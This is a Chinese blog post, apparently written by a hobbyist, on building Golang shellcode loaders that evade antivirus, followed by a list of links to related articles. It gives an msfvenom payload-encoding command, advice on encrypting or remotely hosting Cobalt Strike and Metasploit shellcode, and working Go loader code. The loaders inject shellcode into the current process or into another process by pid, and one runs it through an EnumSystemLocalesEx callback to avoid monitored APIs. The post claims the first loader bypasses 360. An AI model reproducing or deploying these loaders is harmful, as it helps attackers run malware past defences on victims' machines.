最近也是学习了一下有关shellcode进程注入的操作,简单分享一下通过golang进行实现shellcode加载器的免杀思路。

杀软的查杀方式

静态查杀:查杀的方式是结合特征码,对文件的特征段如Hash、文件名、函数名、敏感字符串等进行匹配。

动态查杀:主要针对于软件运行后的行为进行查杀,杀软可能会监控内存、注册表、敏感程序以及各种API等。如果程序在运行之后进行了危险操作比如说修改了注册表,那就会杀软查杀。

当然还有云查杀、沙箱这些技术。这里主要还是总结了对于CS、MSF生成的shellcode使用加载器进行进程注入来免杀的操作。

对于一个msf、CS生成的exe可执行文件,其特征已经被杀软拿捏得死死。而shellcode加载器免杀的原理就是在不修改shellcode代码的基础上,通过将shellcode和程序分离来进行绕过。一方面对分离出来的shellcode进行诸如异或、AES等加密方式绕过杀软的特征码查杀;另一方面作为加载器的程序在没有shellcode的情况下是不存在病毒行为的。

对于shellcode的处理

通常情况,我会选择生成RAW以原始二进制生成payload,并对生成的二进制数据进行Base64编码处理。然后可以对得到的Base64字符串进行各种类型的加密处理。其中Linux的base64可以很好的完成对二进制数据的base64编码处理,并且可以很方便的删除payload中的换行符号。

msfvenom -p [payload] -f raw | base64 | tr -d "\n"

这里推荐一个go语言封装的各种加密项目。方便对shellcode的各种加密处理。

https://github.com/wumansgy/goEncrypt

对于shellcode,你也可以把以txt格式保存在公网vps上,亦或者是隐写的图片当中,加载器通过http请求远程加载shellcode。

对于加载器

一个简单的shellcode加载器应该有以下几个部分:读取并处理shellcode、调用win api为shellcode分配内存、将shellcode写入内存,最后执行内存中的shellcode。

这里常用的api有VirtualAlloc、VirtualProtect、CreateRemoteThread等,当然了这里需要借助windows的文档来详细了解这些api的用法。

func loader2(sc []byte)   {
// 获取当前进程的句柄
pHandle, _ := syscall.GetCurrentProcess()
Protect := windows.PAGE_EXECUTE_READWRITE
// 为shellcode分配足够大小的内存
addr, _, _ := VirtualAllocEx.Call(uintptr(pHandle), 0, uintptr(len(sc)), windows.MEM_RESERVE|windows.MEM_COMMIT, windows.PAGE_READWRITE)
// 将shellcode写入内存当中
WriteProcessMemory.Call(uintptr(pHandle), addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
//修改进程的保护属性为可读写可执行
VirtualProtectEx.Call(uintptr(pHandle), addr, uintptr(len(sc)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&Protect)))
//创建线程执行shellcode
x,_, _ := CreateRemoteThread.Call(uintptr(pHandle), 0, 0, addr, 0, 0, 0)
for{ }
}

上面就是一个简单的shellcode加载器的例子。将shellcode注入到当前进程当中,因此在代码的最后,需要用一个死循环来使得我们整个程序一直处在一个运行的状态当中。(本地虚拟机测试,可以绕过360)

当然,这里你选择注入的进程也可以是其他的程序,那么这里需要做的改变仅仅是修改获取进程句柄的方式。使用下面的方法,将根据pid来获取进程的句柄,就可以向你需要的进程中注入shellcode。

pHandle,_ := windows.OpenProcess(0x1F0FFF,false,pid)

在上面加载器的例子当中,我们用到了一些winapi 如 VirtualAlloc、CreateRemoteThread这些api其实都在各大杀软的重点监控当中。那么为了应对这种监控,一种好的办法就是不使用这些敏感的api。windows的一些api提供的回调函数,它的参数是指针类型的话是可以直接调用内存当中的shellcode的,就是变相的达到了不适用敏感api来执行shellcode的方法。

下面这个github开源项目提供了很多这种包含有回调函数可以执行shellcode的方法。

https://github.com/aahmad097/AlternativeShellcodeExec

下面这个例子就是使用了EnumSystemLocalesEx这个api 来实现回调执行shellcode。

func EnumSystemLocalesEx1(data []byte) {
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(data)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
panic(1)
}
_, _, errRtlMoveMemory := RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&data[0])), uintptr(len(data)))
if errRtlMoveMemory != nil && errRtlMoveMemory.Error() != "The operation completed successfully." {
panic(1)
}
oldProtect := windows.PAGE_READWRITE
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(data)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
panic(1)
}
EnumSystemLocalesEx.Call(addr, 0,0,0)
}

免杀涉及到的内容还是非常广泛的,做好免杀还是需要继续深入学习多方面的知识。

浅析golang shellcode加载器的更多相关文章

  1. [原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)

    0x001 原理 采用分离法,即将ShellCode和加载器分离.方法较LOW但免杀. 本文主要将ShellCode转成HEX,再通过加载器执行ShellCode. PS: 何为SC加载器,即专门用于 ...

  2. 理解go语言的shellcode加载器

    序言 本文假设你知道unsafe包常见函数的用法,若否,请查看 https://books.studygolang.com/gopl-zh/ch13/ch13-01.html  第13章. 例子和代码 ...

  3. 恶意软件开发——编写第一个Loader加载器

    一.什么是shellcode loader? 上一篇文章说了,我们说到了什么是shellcode,为了使我们的shellcode加载到内存并执行,我们需要shellcode加载器,也就是我们的shel ...

  4. js模块化加载器实现

    背景 自es6以前,JavaScript是天生模块化缺失的,即缺少类似后端语言的class, 作用域也只以函数作为区分.这与早期js的语言定位有关, 作为一个只需要在网页中嵌入几十上百行代码来实现一些 ...

  5. golang动态加载原生代码思路

    golang动态加载原生代码思路(非plugin,非so文件.使用mmap形式运行机器码,可释放) 1.用go tool objdump,可以看到任意函数的机器码.汇编指令.偏移.(go源码下面有一个 ...

  6. 实现一个类 RequireJS 的模块加载器 (二)

    2017 新年好 ! 新年第一天对我来说真是悲伤 ,早上兴冲冲地爬起来背着书包跑去实验室,结果今天大家都休息 .回宿舍的时候发现书包湿了,原来盒子装的牛奶盖子松了,泼了一书包,电脑风扇口和USB口都进 ...

  7. 使用RequireJS并实现一个自己的模块加载器 (一)

    RequireJS & SeaJS 在 模块化开发 开发以前,都是直接在页面上引入 script 标签来引用脚本的,当项目变得比较复杂,就会带来很多问题. JS项目中的依赖只有通过引入JS的顺 ...

  8. AngularJs2与AMD加载器(dojo requirejs)集成

    现在是西太平洋时间凌晨,这个问题我鼓捣了一天,都没时间学英语了,英语太差,相信第二天我也看不懂了,直接看结果就行. 核心原理就是require在AngularJs2编译过程中是关键字,而在浏览器里面运 ...

  9. js前端模块化之加载器原理解析(一)

    先来说一下前端模块化的价值:引用模块此处有详细的介绍,可以自行前往观看. 一.总结如下优点: (1)解决命名冲突(2)烦琐的文件依赖(3)模块的版本管理(4)提高可维护性(5)前端性能优化(6)跨环境 ...

随机推荐

  1. ELF文件结构

    ELF文件结构 ELF文件的全称是Executable and Linkable Format,直译为"可执行可链接格式",包括目标文件(.o).可执行文件(可以直接运行).静态链 ...

  2. k8s中应用GlusterFS类型StorageClass

    GlusterFS在Kubernetes中的应用 GlusterFS服务简介 GlusterFS是一个可扩展,分布式文件系统,集成来自多台服务器上的磁盘存储资源到单一全局命名空间,以提供共享文件存储. ...

  3. 记录在EF Core级联更新时出现的错误The database operation was expected to affect 1 row(s), but actually affected 0 row(s) (低级错误导致)

    错误提示:The database operation was expected to affect 1 row(s), but actually affected 0 row(s); data ma ...

  4. vue项目引入TinyMCE

    1.安装 npm install @tinymce/tinymce-vue@3.0.1 -S 2.配置 <template> <!-- 富文本 --> <div> ...

  5. Vue问题

    vue问题 #(1)vouter的addRoutes方法---用户权限 //自定义添加路由方法,防止重复添加路由 #使用后 路由结构 const user = () => import('../ ...

  6. git bisect:让你闭眼都能定位疑难 bug的利器

    摘要:git bisect命令使用二分搜索算法来查找提交历史中的哪一次提交引入了错误.它几乎能让你闭着眼睛快速定位任何源码导致的问题,非常实用. 本文分享自华为云社区<利用好 git bisec ...

  7. 在 .NET 中使用 FixedTimeEquals 应对计时攻击

    计时攻击 在计算机安全中,计时攻击(Timing attack)是旁道攻击 (Side-channel attack) 的一种,而旁道攻击是根据计算机处理过程发出的信息进行分析,包括耗时,声音,功耗等 ...

  8. mysql 开启binlog日志,恢复误删的表、数据、mysql库

    linux下开启mysql的binlog日志功能 1.配置mysql配置文件my.cnf(内容如下). #配置文件储存的位置log-bin=mysql-bin#5.7以及以上版本需要配置这一行(保证唯 ...

  9. 测试人生 | 薪资翻倍涨至50W是种什么样的体验?

    本文为霍格沃兹测试开发学社优秀学员跳槽笔记,测试开发进阶学习文末加群. 本人已经工作7年了,做的都是功能测试以及写一些简单的自动化脚本,加上之前没有学习的意识,导致专业技术水平与工作年限不匹配,在上家 ...

  10. Linux常用命令-创建用户修改密码-useradd

    命令简介 useradd/userdel 创建新用户/删除用户,需要管理员权限操作. 在创建用户时,如果不配置密码,用户的默认密码是不可用的,所以,useradd命令一般与passwd命令配合使用,下 ...